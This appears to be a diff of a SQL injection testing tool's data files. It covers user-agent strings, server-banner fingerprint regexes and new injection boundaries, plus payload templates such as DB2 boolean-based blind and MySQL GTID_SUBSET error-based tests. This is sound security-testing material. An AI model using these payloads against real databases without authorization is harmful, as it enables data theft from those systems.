Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 OPR/72.0.3815.400
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:83.0) Gecko/20100101 Firefox/83.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 OPR/72.0.3815.320
Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0
Mozilla/5.0 (Linux; U; Android 4.3; en-us; SM-N900T Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 OPR/73.0.3856.284

Binary file not shown.

View File

@@ -34,7 +34,7 @@
<!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx --> <!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
<regexp value="Windows.*\b10\.0"> <regexp value="Windows.*\b10\.0">
<info type="Windows" distrib="2016|10"/> <info type="Windows" distrib="2019|2016|10"/>
</regexp> </regexp>
<regexp value="Windows.*\b6\.3"> <regexp value="Windows.*\b6\.3">
@@ -151,7 +151,7 @@
<info type="Linux" distrib="Ubuntu"/> <info type="Linux" distrib="Ubuntu"/>
</regexp> </regexp>
<!-- Unices --> <!-- BSD -->
<regexp value="FreeBSD"> <regexp value="FreeBSD">
<info type="FreeBSD"/> <info type="FreeBSD"/>

View File

@@ -64,6 +64,10 @@
<info dbms_version="1" type="Linux" distrib="Debian" release="12" codename="bookworm"/> <info dbms_version="1" type="Linux" distrib="Debian" release="12" codename="bookworm"/>
</regexp> </regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+trixie">
<info dbms_version="1" type="Linux" distrib="Debian" release="13" codename="trixie"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)"> <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
<info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/> <info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/>
</regexp> </regexp>

View File

@@ -10,7 +10,7 @@
<!-- Microsoft IIS --> <!-- Microsoft IIS -->
<regexp value="Microsoft-IIS/(10\.0)"> <regexp value="Microsoft-IIS/(10\.0)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2016|10"/> <info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2019|2016|10"/>
</regexp> </regexp>
<regexp value="Microsoft-IIS/(8\.5)"> <regexp value="Microsoft-IIS/(8\.5)">
@@ -74,23 +74,27 @@
<!-- Apache: CentOS --> <!-- Apache: CentOS -->
<regexp value="Apache/2\.0\.46 \(CentOS\)"> <regexp value="Apache/2\.0\.46 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="3.9"/> <info type="Linux" distrib="CentOS" release="3"/>
</regexp> </regexp>
<regexp value="Apache/2\.0\.52 \(CentOS\)"> <regexp value="Apache/2\.0\.52 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="4.9"/> <info type="Linux" distrib="CentOS" release="4"/>
</regexp> </regexp>
<regexp value="Apache/2\.2\.3 \(CentOS\)"> <regexp value="Apache/2\.2\.3 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="5.10"/> <info type="Linux" distrib="CentOS" release="5"/>
</regexp> </regexp>
<regexp value="Apache/2\.2\.15 \(CentOS\)"> <regexp value="Apache/2\.2\.15 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="6.8"/> <info type="Linux" distrib="CentOS" release="6"/>
</regexp> </regexp>
<regexp value="Apache/2\.4\.6 \(CentOS\)"> <regexp value="Apache/2\.4\.6 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="7-1708"/> <info type="Linux" distrib="CentOS" release="7"/>
</regexp>
<regexp value="Apache/2\.4\.37 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="8"/>
</regexp> </regexp>
<!-- Apache: Debian --> <!-- Apache: Debian -->
@@ -131,36 +135,32 @@
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/> <info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp> </regexp>
<regexp value="Apache/1\.3\.34 \(Debian GNU\/Linux\)">
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Debian\)"> <regexp value="Apache/2\.2\.3 \(Debian\)">
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/> <info type="Linux" distrib="Debian" release="4" codename="etch"/>
</regexp>
<regexp value="Apache/2\.2\.6 \(Debian\)">
<info type="Linux" distrib="Debian" release="4.0" codename="etch" updated="True"/>
</regexp> </regexp>
<regexp value="Apache/2\.2\.9 \(Debian\)"> <regexp value="Apache/2\.2\.9 \(Debian\)">
<info type="Linux" distrib="Debian" release="5.0" codename="lenny"/> <info type="Linux" distrib="Debian" release="5" codename="lenny"/>
</regexp> </regexp>
<regexp value="Apache/2\.2\.16 \(Debian\)"> <regexp value="Apache/2\.2\.16 \(Debian\)">
<info type="Linux" distrib="Debian" release="6.0" codename="squeeze"/> <info type="Linux" distrib="Debian" release="6" codename="squeeze"/>
</regexp> </regexp>
<regexp value="Apache/2\.2\.22 \(Debian\)"> <regexp value="Apache/2\.2\.22 \(Debian\)">
<info type="Linux" distrib="Debian" release="7.0" codename="wheezy"/> <info type="Linux" distrib="Debian" release="7" codename="wheezy"/>
</regexp> </regexp>
<regexp value="Apache/2\.4\.10 \(Debian\)"> <regexp value="Apache/2\.4\.10 \(Debian\)">
<info type="Linux" distrib="Debian" release="8.0" codename="jessie"/> <info type="Linux" distrib="Debian" release="8" codename="jessie"/>
</regexp> </regexp>
<regexp value="Apache/2\.4\.25 \(Debian\)"> <regexp value="Apache/2\.4\.25 \(Debian\)">
<info type="Linux" distrib="Debian" release="9.0" codename="stretch"/> <info type="Linux" distrib="Debian" release="9" codename="stretch"/>
</regexp>
<regexp value="Apache/2\.4\.38 \(Debian\)">
<info type="Linux" distrib="Debian" release="10" codename="buster"/>
</regexp> </regexp>
<!-- Apache: Fedora --> <!-- Apache: Fedora -->
@@ -293,6 +293,31 @@
<info type="Linux" distrib="Fedora" release="27"/> <info type="Linux" distrib="Fedora" release="27"/>
</regexp> </regexp>
<regexp value="Apache/2\.4\.33 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="28"/>
</regexp>
<regexp value="Apache/2\.4\.34 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="29"/>
</regexp>
<regexp value="Apache/2\.4\.39 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="30"/>
</regexp>
<regexp value="Apache/2\.4\.41 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="31"/>
</regexp>
<regexp value="Apache/2\.4\.43 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="32"/>
</regexp>
<regexp value="Apache/2\.4\.46 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="33"/>
</regexp>
<!-- Apache: FreeBSD --> <!-- Apache: FreeBSD -->
<regexp value="Apache/2\.0\.16 \(FreeBSD\)"> <regexp value="Apache/2\.0\.16 \(FreeBSD\)">
@@ -407,6 +432,14 @@
<info type="FreeBSD" release="11.1"/> <info type="FreeBSD" release="11.1"/>
</regexp> </regexp>
<regexp value="Apache/2\.4\.39 \(FreeBSD\)">
<info type="FreeBSD" release="11.3"/>
</regexp>
<regexp value="Apache/2\.4\.46 \(FreeBSD\)">
<info type="FreeBSD" release="12.2"/>
</regexp>
<!-- Apache: Mandrake / Mandriva --> <!-- Apache: Mandrake / Mandriva -->
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)"> <regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
@@ -587,6 +620,10 @@
<info type="Linux" distrib="Red Hat" release="Enterprise 7" codename="Maipo"/> <info type="Linux" distrib="Red Hat" release="Enterprise 7" codename="Maipo"/>
</regexp> </regexp>
<regexp value="Apache/2\.4\.37 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 8" codename="Ootpa"/>
</regexp>
<!-- Apache: SuSE --> <!-- Apache: SuSE -->
<regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)"> <regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)">
@@ -714,6 +751,14 @@
<info type="Linux" distrib="SuSE" release="42.2|42.3"/> <info type="Linux" distrib="SuSE" release="42.2|42.3"/>
</regexp> </regexp>
<regexp value="Apache/2\.4\.33 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="15"/>
</regexp>
<regexp value="Apache/2\.4\.43 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="15.2"/>
</regexp>
<!-- Apache: Ubuntu --> <!-- Apache: Ubuntu -->
<regexp value="Apache/2\.0\.50 \(Ubuntu\)"> <regexp value="Apache/2\.0\.50 \(Ubuntu\)">
@@ -800,6 +845,22 @@
<info type="Linux" distrib="Ubuntu" release="17.10" codename="artful"/> <info type="Linux" distrib="Ubuntu" release="17.10" codename="artful"/>
</regexp> </regexp>
<regexp value="Apache/2\.4\.29 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
</regexp>
<regexp value="Apache/2\.4\.34 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="18.10" codename="cosmic"/>
</regexp>
<regexp value="Apache/2\.4\.38 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="19.04" codename="disco"/>
</regexp>
<regexp value="Apache/2\.4\.41 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="19.10|20.04" codename="eoan|focal"/>
</regexp>
<!-- Nginx --> <!-- Nginx -->
<regexp value="nginx$"> <regexp value="nginx$">

View File

@@ -19,6 +19,22 @@
<info technology="EasyEngine" tech_version="1"/> <info technology="EasyEngine" tech_version="1"/>
</regexp> </regexp>
<regexp value="Phusion Passenger ([\d\.]+)">
<info technology="Phusion Passenger" tech_version="1"/>
</regexp>
<regexp value="Craft CMS">
<info technology="Craft CMS"/>
</regexp>
<regexp value="Express">
<info technology="Express"/>
</regexp>
<regexp value="WP Engine">
<info technology="WP Engine"/>
</regexp>
<regexp value="PleskLin"> <regexp value="PleskLin">
<info technology="Plesk" type="Linux"/> <info technology="Plesk" type="Linux"/>
</regexp> </regexp>

View File

@@ -213,6 +213,15 @@ Formats:
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix> <suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary> </boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>3</ptype>
<prefix>%'</prefix>
<suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
</boundary>
<boundary> <boundary>
<level>2</level> <level>2</level>
<clause>1</clause> <clause>1</clause>

View File

@@ -83,7 +83,7 @@
<error regexp="CLI Driver.*?DB2"/> <error regexp="CLI Driver.*?DB2"/>
<error regexp="DB2 SQL error"/> <error regexp="DB2 SQL error"/>
<error regexp="\bdb2_\w+\("/> <error regexp="\bdb2_\w+\("/>
<error regexp="SQLSTATE.+SQLCODE"/> <error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
<error regexp="com\.ibm\.db2\.jcc"/> <error regexp="com\.ibm\.db2\.jcc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/> <error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
<error regexp="Pdo[./_\\]Ibm"/> <error regexp="Pdo[./_\\]Ibm"/>

View File

@@ -824,7 +824,6 @@ Tag: <test>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -845,7 +844,6 @@ Tag: <test>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1193,7 +1191,6 @@ Tag: <test>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1214,7 +1211,6 @@ Tag: <test>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1332,6 +1328,44 @@ Tag: <test>
</details> </details>
</test> </test>
<test>
<title>IBM DB2 boolean-based blind - ORDER BY clause</title>
<stype>1</stype>
<level>4</level>
<risk>1</risk>
<clause>3</clause>
<where>1</where>
<vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
<request>
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
</request>
<response>
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<test>
<title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
<stype>1</stype>
<level>5</level>
<risk>1</risk>
<clause>3</clause>
<where>1</where>
<vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
<request>
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
</request>
<response>
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!-- Works in MySQL, Oracle, etc. --> <!-- Works in MySQL, Oracle, etc. -->
<test> <test>
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title> <title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
@@ -1452,7 +1486,6 @@ Tag: <test>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1474,7 +1507,6 @@ Tag: <test>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>

View File

@@ -91,6 +91,46 @@
</details> </details>
</test> </test>
<test>
<title>MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
<stype>2</stype>
<level>4</level>
<risk>3</risk>
<clause>1,8,9</clause>
<where>1</where>
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test> <test>
<title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title> <title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
<stype>2</stype> <stype>2</stype>
@@ -135,7 +175,7 @@
<test> <test>
<title>MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title> <title>MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
<stype>2</stype> <stype>2</stype>
<level>1</level> <level>2</level>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,8,9</clause> <clause>1,2,3,8,9</clause>
<where>1</where> <where>1</where>
@@ -159,7 +199,7 @@
<test> <test>
<title>MySQL &gt;= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title> <title>MySQL &gt;= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
<stype>2</stype> <stype>2</stype>
<level>1</level> <level>2</level>
<risk>3</risk> <risk>3</risk>
<clause>1,2,3,8,9</clause> <clause>1,2,3,8,9</clause>
<!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY --> <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
@@ -184,7 +224,7 @@
<test> <test>
<title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title> <title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
<stype>2</stype> <stype>2</stype>
<level>2</level> <level>1</level>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,8,9</clause> <clause>1,2,3,8,9</clause>
<where>1</where> <where>1</where>
@@ -208,7 +248,7 @@
<test> <test>
<title>MySQL &gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title> <title>MySQL &gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
<stype>2</stype> <stype>2</stype>
<level>2</level> <level>1</level>
<risk>3</risk> <risk>3</risk>
<clause>1,2,3,8,9</clause> <clause>1,2,3,8,9</clause>
<!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY --> <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
@@ -282,7 +322,7 @@
<test> <test>
<title>MySQL &gt;= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title> <title>MySQL &gt;= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
<stype>2</stype> <stype>2</stype>
<level>2</level> <level>3</level>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,8,9</clause> <clause>1,2,3,8,9</clause>
<where>1</where> <where>1</where>
@@ -307,7 +347,7 @@
<!-- It does not work against ORDER BY or GROUP BY clause --> <!-- It does not work against ORDER BY or GROUP BY clause -->
<title>MySQL &gt;= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)</title> <title>MySQL &gt;= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)</title>
<stype>2</stype> <stype>2</stype>
<level>2</level> <level>3</level>
<risk>3</risk> <risk>3</risk>
<clause>1,8,9</clause> <clause>1,8,9</clause>
<where>1</where> <where>1</where>
@@ -332,7 +372,7 @@
<test> <test>
<title>MySQL OR error-based - WHERE or HAVING clause (FLOOR)</title> <title>MySQL OR error-based - WHERE or HAVING clause (FLOOR)</title>
<stype>2</stype> <stype>2</stype>
<level>3</level> <level>4</level>
<risk>3</risk> <risk>3</risk>
<clause>1,8,9</clause> <clause>1,8,9</clause>
<where>2</where> <where>2</where>
@@ -404,7 +444,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -425,7 +464,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -446,7 +484,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -467,7 +504,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -488,7 +524,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -509,7 +544,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -672,7 +706,7 @@
<stype>2</stype> <stype>2</stype>
<level>3</level> <level>3</level>
<risk>1</risk> <risk>1</risk>
<clause>1,9</clause> <clause>1</clause>
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
@@ -689,9 +723,9 @@
<test> <test>
<title>Firebird OR error-based - WHERE or HAVING clause</title> <title>Firebird OR error-based - WHERE or HAVING clause</title>
<stype>2</stype> <stype>2</stype>
<level>3</level> <level>4</level>
<risk>3</risk> <risk>3</risk>
<clause>1,9</clause> <clause>1</clause>
<where>2</where> <where>2</where>
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
@@ -710,7 +744,7 @@
<stype>2</stype> <stype>2</stype>
<level>3</level> <level>3</level>
<risk>1</risk> <risk>1</risk>
<clause>1,9</clause> <clause>1</clause>
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
@@ -727,9 +761,9 @@
<test> <test>
<title>MonetDB OR error-based - WHERE or HAVING clause</title> <title>MonetDB OR error-based - WHERE or HAVING clause</title>
<stype>2</stype> <stype>2</stype>
<level>3</level> <level>4</level>
<risk>3</risk> <risk>3</risk>
<clause>1,9</clause> <clause>1</clause>
<where>2</where> <where>2</where>
